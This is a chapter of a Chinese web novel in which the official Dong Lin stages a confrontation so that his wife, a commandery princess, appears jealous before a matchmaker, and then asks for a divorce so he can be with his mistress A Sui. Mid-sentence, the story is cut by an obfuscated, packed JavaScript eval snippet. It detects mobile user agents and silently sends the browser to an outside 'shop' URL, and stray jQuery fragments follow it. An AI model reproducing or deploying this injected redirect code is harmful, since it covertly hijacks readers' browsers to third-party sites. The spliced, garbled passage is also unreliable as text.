28.善妒
作品:《和离后将军爆改恋爱脑》 他于是好好思忖了一番,才缓缓开口:
“劳烦齐大人走这一趟,实是家丑外扬,惭愧至极。”
听董林语气沉重,齐璎关切:“董大人,这是发生了何事?”
董林静默了几秒,才长叹了一声:
“事已至此,在下也不得不说句心里话。郡主……样样都好,唯有一桩,妒心过重,实难相处。”
齐璎惊讶:“竟有此事?”
“齐大人不知,郡主自入门来,心思细敏过人,稍不如意便郁结于心,长吁短叹。在下每每劝她宽心养性,反遭埋怨,说我不解风情、不顾家室。近年更是……唉,常因些捕风捉影之事与在下争执,闹得家宅不宁,上下难安。”
齐璎听罢,语气中多了几分小心翼翼:“这……郡主平日,确常有郁结,但她从不说明原委。我竟不知是如此……”
董林似乎实在羞于启齿,顿了很久,才咬牙继续开口:
“今日家中来了一位姑娘,乃是故交之女,进京拜访。她与内子年岁相仿,在下便想着能与郡主作伴。可内子非但不以礼相待,竟多心生疑,百般不容,还劳动齐大人,实在是……”
齐璎赶忙道:“调和家务,乃是在下分内之事,大人不必挂怀。”
齐璎的语气中也加了几分歉疚:“我奉命教导夫人多日,尤其强调谨遵女诫。夫人如今善妒至斯,也有我的责任。
“大人放心,我这便前往后宅,好生教导夫人一番……”
“齐大人且慢!”
齐璎刚起身的动作顿住了,疑惑地看向董林。
“齐大人劳顿,不若在此等候,我让人请夫人来。”董林有礼地补充道。
阿随如今只是个金服,若由齐璎独自一人去了后宅,到时郡主说了什么,齐璎见人下菜,轻信偏袒,岂不委屈了阿随?
虽然事发突然,但好不容易有这样的机会,自己定要在阿随面前好好表现。
齐璎不疑有他:“也好。”
不多时,郡主便到了。
不知是因为太过匆忙,还是因为想着已与齐璎熟识,郡主出现时,连幂篱都没戴。
面对齐璎的行礼,郡主也只是简单答应,面色不愉。
更奇怪的是,桃枝虽戴着幂篱,步履却十分放肆,无礼地与郡主并行走来。
“桃枝!”齐璎忍不住朗声提醒。
可桃枝恍若未闻,并未停下。
“桃枝!”齐璎又加重了语气,“莫要忘了规矩!”
桃枝依旧毫无反应。
齐璎还想说话,董林赶紧出声打断:“怕是府中仆役众多,扰了清听。”
董林转向一旁:“春黛,还不和齐大人请罪?”
郡主身后的一个婢女赶紧跪下:“齐大人恕罪。”
“可……”
“好了,起身吧,下次注意便是。”董林又一次打断齐璎,“齐大人也不是蛮不讲理之人,是吧?”
看那婢女起身谢恩,齐璎将嘴边的疑惑咽了下去,此事只能就此揭过。
董林趁机,赶紧介绍:“齐大人,容在下为你介绍,这位便是今日来府上做客的,随娘子。”
好在齐璎也是体面人,一下便知道自己错认了人,招呼打得不动声色:“随娘子。”
“阿随,这是……祈姻楼的官媒,齐大人。”
董林刻意将“官媒”两个字咬得重了一些,心里却摸不准阿随会有什么反应。
他曾经同阿随提起过官媒在北池的职责,不知道她是否还记得。
就算她记得,以她的性子,也不见得愿意……
可相对于在此时试探阿随,董林还是更着急为她在齐璎面前博一个好印象,于是忍不住低声快速向阿随补充道:“先见过齐大人。”
没想到阿随一收以往不羁的性子,乖巧地出声:“见过齐大人。”
甚至还行了一个礼。
淳昌郡主见状,冷笑了一声,自顾自坐到了主座。
两厢对比,郡主的善妒尽显无疑。
看阿随颇有规矩地坐在下首,董林简直是心花怒放——
阿随知道!
她不仅知道,还在北池官媒面前如此知礼!
那是不是就意味着……
隔着屏风与幂篱,董林完全看不见阿随的表情。
若是没有旁人,他现在真想一把将阿随搂进怀中,以表达自己的狂喜。
董林的心欢喜得突突狂跳。
不枉费自己这几日没日没夜、费尽心机地哄她开心。
如今在今日有了回报。
董林暗下决心,从今往后,不论阿随提出任何要求,哪怕要天上的星星,他都会为她摘来。
哪怕是背井离乡,哪怕是抛下他已经拥有的一切,离开北池国,与她共赴东洲。
董林正兴奋地畅想着,一旁的郡主冷冷开口:
“夫君,妾身让齐大人来,本是要说些闺中体己话,你如今这是何意?”
董林心中的欢喜瞬间被浇熄了。
他转开头,从鼻孔中长出了一口气。
可一想到阿随也在场,董林还是坐正了身子,注意了一番自己的仪态:
“体己话?有阿随不够么?”
“自是因夫君你将随娘子带来了,我想着府里人多,便图个热闹,特邀了齐大人。”
“你……”董林一时语塞。
他没想到一向唯命是从的淳昌郡主,突然说出了这样的话。
几秒后,齐璎在下首咳了咳,打破了全场的静默。
——董林猛地回神。
这倒提醒了自己。
郡主如此表现,不是更应了“善妒”之名吗?
还怕她不够刻薄呢。
思及此,董林也不犯愁了,而是冷冷地回了一句“是吗?”,进而转向下首的阿随:
“阿随,方才你都与夫人说了什么?”
阿随静默了一会,才缓缓点头:“嗯……夫人待我……很好……”
语气却小心翼翼、支支吾吾,明眼人一眼便能看出有问题。
看阿随配合的表演,董林心中的兴奋更甚。他继续引导着:
“夫人方才待你,真的好么?”
阿随似乎很犹豫,她先是抬头看了看对面的齐璎,又转头看了看上首的董林,然后又轻轻看了一眼郡主,迅速地低下头去。
这已经是最好的回答了。
董林隔着幂篱与屏风,似乎都看到阿随脸上的无助与娇弱,心都要化了。他忍不住出声道:
“别怕,在董宅,我为你做主。”
阿随低着头,没回答。
直到大厅因为她静默良久,她吸收了所有人的目光后,才讷讷开口:
“董郎,你知道的,我……我本仰慕夫人英姿已久,有幸来董宅,便是希望能与夫人说上一句话……可,可夫人却不知为何,对我恶语相向,还……还污我清白……说你我……”
阿随说着,带了一点哭腔:
“董郎,虽然你我皆是金服出身,可阿随知道,你已水服加身,我与你已是云泥之别,怎可能……”
郡主侧眼,扫了一眼身旁的董林。
只见他眸光闪动,动情地听着。
她于是冷笑一声。咬牙切齿道:“好啊,你与董林果然有鬼!”
“不,不是的!”阿随连忙否认。
“你话里话外尽是钦慕,还说不是!你说!”
郡主猛地一拍桌站起身,吓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157480|190804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得阿随浑身一个激灵。
“这几日董林早出晚归,是不是因为你!是不是他与你……”
“不是、不是的!”阿随摇头,语气逐渐惊慌。
“随娘子。”齐璎严肃地开口,“事关董大人内闱,请你务必谨言慎行。”
“呵,‘谨言慎行’?齐大人有所不知,阿随姑娘可是再‘谨言慎行’不过了。她方才与我在后宅,与此时可真是判若两人啊。也不知是哪家戏子,变脸得如此娴熟。”
阿随似乎完全无法承受两人你一眼我一语的攻击,浑身开始颤抖起来:
“夫人、齐大人,千错万错,都是阿随的错。若有惩戒,我一人承受便可,万不要因我,影响了董郎的后宅安宁……”
说到此处,阿随起身,几乎要下跪。
“不是的!”董林猛地起身,大声道。
众人都愕然地转向董林。
董林眼神认真,直直地看向阿随。
在众人的目光中,董林一步步,缓缓朝阿随走去。
随后,他在阿随面前站定,一字一句道:
“我与阿随,是两厢情愿。”
众人哗然。
淳昌郡主愣了半晌,才颤抖着开口:
“好、好啊!你们果然!”
郡主面色苍白如纸,豆大的泪从眼眶中落下。
她深吸几口气,缓了许久,才勉强重新开口道:
“……董林,我本……木服郡主!与你成家,我不求富贵荣华,不求重甲功勋,只求夫妇举案齐眉、相敬如宾。自成婚起,我便日日低眉,处处隐忍,凡事不敢有违,皆随你意而行,何曾有一日不慎惧?我自诩问心无愧!而你……你便是这么对我的?”
“问心无愧?”董林出声,语调讥诮。
他先是长叹一口声,随后疲惫地开口:
“郡主,你看你现下,可有半分你口中‘举案齐眉’的模样?”
郡主不可置信地愣住了。
“郡主,我董林虽是金服出身,与你云泥有别,然待下素来以诚,心中实无贵贱之分。可这些年,即便家中事事以你为先,却日日阴云,无片刻宁和。董宅中,凡金服者,皆如履薄冰,生怕稍有不慎惹你猜忌,你便如此刻般喜怒不定。我不过求一个‘家宅清净’,竟也成了奢望。”
董林语气沉重。
郡主冷笑一声,讥讽道:“岂非你要我端方持重,我才日日积郁,如今,竟反成了你口中罪证?”
董林垂着眼,表情凝重,似乎沉浸在沉痛中:“外人皆言你我是天作之合,可个中苦涩,我又能与何人言说?”
郡主更是半晌无言,随后,向后瘫坐了回座位上。
董林抬眼,望向屏风后的郡主,目光沉沉:
“事已至此,强留无益。今日有齐大人作证,你我便把话说明。是你将你我情分消磨殆尽,这桩婚事,早已名存实亡,我与你何必再相互折磨?”
郡主猛地清醒过来:“董林,你什么意思?”
董林转向齐璎,礼貌地作了一揖,语气淡然:
“齐大人。”
“董大人……”齐璎想出声劝阻,却也一时不确定董林的意思。
“劳烦齐大人,为我与郡主,和离。”
齐璎惊呼:“董大人,三思啊!”
“董郎,不可!”同一时间,阿随也在董林身后,着急地攥住了他的衣袖。
董林却恍若未闻,维持着面向齐璎的姿势。
“董林……”主座上,郡主咬牙切齿的声音传来。
她猛地起身,一把将桌上的茶盏果盘扫落在地,发出一声巨响。
大厅的奴婢们都猛然下跪。
淳昌郡主厉声道:“你敢?!”

